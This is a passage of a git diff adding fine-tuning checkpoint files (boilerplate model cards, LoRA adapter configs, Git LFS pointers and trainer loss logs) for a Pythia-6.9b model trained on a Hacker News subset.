Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..9e634ff93dd1c99ec6582939eb2fd1f900444f10 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c534ccb8438414b029cb646c3e6cb3c48eabd2a930852e25cb2f9f3d5913eb6a +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..c87b3611bf55670dac8881a9b2035935571d0318 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4434cfddb3858df705a41cee156db6388b11b93785f258c306f0cfa5be463c88 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..823c878e3ad7d7799e1959fba97c90aaf79af4f9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f5e4256f7b7ace2dd6194570c191ab9026456dc0db24025edac4a5bd9e379dab +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..63906caa8cd7e3fc0686b7d0276e496942ef0036 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:daeceb22ea0c54e6923c8a042a9cfc5a5bc826f201c52f29454b62c289d49dc6 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..566f34cc454c4e668c5561a917c246e022d220d3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/trainer_state.json @@ -0,0 +1,363 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.9333333333333336, + "eval_steps": 10, + "global_step": 220, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.60493583695872e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..a397a31de36be3a70a65cfbc6dafc5a61f84af51 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:37c9a5868794b1f99c63640d527f72987c8da4364b4745950df4872231933572 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..3d56330740086dbdab12b54eab34a796f0038b93 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2bf32d05cac3053e18b8c7f747c5997444f0f43295227aad32bb66e4a42e7966 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..ae85ad205796b2c3955218eb7b4b348ca35978c7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3e2b38199e26ee1965ef79aea019c0217039e7dab109a4b6e29c57f1bea63d6d +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..3e92e5593d8d7139e837b2a75209a41c074c2e8c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d7f755a0bef74517fb45fc39d7689eaec499187cc5cd60002751078b0276b353 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..6844594e125e702574ef1d0757de21bc8c4faad1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/trainer_state.json @@ -0,0 +1,378 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.066666666666667, + "eval_steps": 10, + "global_step": 230, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + 